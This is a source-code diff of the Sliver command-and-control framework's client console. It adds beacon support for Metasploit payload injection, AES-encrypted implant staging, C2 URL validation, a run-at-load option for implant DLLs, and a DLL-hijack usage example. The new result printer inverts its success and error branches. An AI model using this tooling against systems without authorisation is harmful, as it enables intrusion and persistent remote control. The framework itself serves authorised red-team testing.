// [ Info ] --------------------------------------------------------------
@@ -1199,6 +1247,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1253,6 +1303,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1401,6 +1453,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1460,6 +1514,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
+1 -1
View File
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
+4 -4
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+23 -6
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+29 -6
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+11 -3
View File
@@ -31,6 +31,7 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
case "int", "integer", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
+4
View File
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+39 -2
View File
@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -331,6 +333,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -394,6 +398,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -415,17 +422,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -458,6 +468,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -487,6 +500,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -503,6 +519,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
@@ -516,6 +535,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -548,6 +582,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
+4
View File
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+4 -4
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadMacrosHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +657,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+35
View File
@@ -26,6 +26,7 @@ import (
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -33,6 +34,8 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+21 -3
View File
@@ -23,6 +23,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
implantMapper := prelude.InitImplantMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -52,9 +53,26 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
err = sessionMapper.AddSession(session)
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+4
View File
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
+4
View File
@@ -0,0 +1,4 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
+96
View File
@@ -0,0 +1,96 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
@@ -1,8 +1,8 @@
package sessions
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,18 +21,16 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
}
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
}
+2
View File
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+56 -22
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -110,19 +111,38 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
@@ -142,17 +162,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
}
con.Printf("%s\n", tw.Render())
+48
View File
@@ -19,6 +19,8 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
